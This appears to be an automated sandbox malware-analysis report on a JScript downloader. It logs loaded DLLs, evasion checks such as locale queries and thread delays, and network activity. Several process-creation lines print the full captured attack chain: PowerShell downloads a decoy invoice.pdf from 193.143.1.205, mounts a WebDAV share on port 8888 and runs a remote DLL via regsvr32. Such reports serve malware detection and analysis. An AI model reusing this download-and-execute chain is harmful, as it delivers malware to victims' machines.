Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8269.js.csv");ITextStream.WriteLine(" entry:8874 f:vjldhsk");ITextStream.WriteLine(" exec:2 f:vjldhsk");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3976			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5784			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 616	Thread sleep count: 3976 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 616	Thread sleep count: 5784 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6136	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4876	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2872	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4592	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5560	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2200241947.000001FCDE328000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2200241947.000001FCDE38B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3440148209.0000029280054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3438724660.000002927AA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW l

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
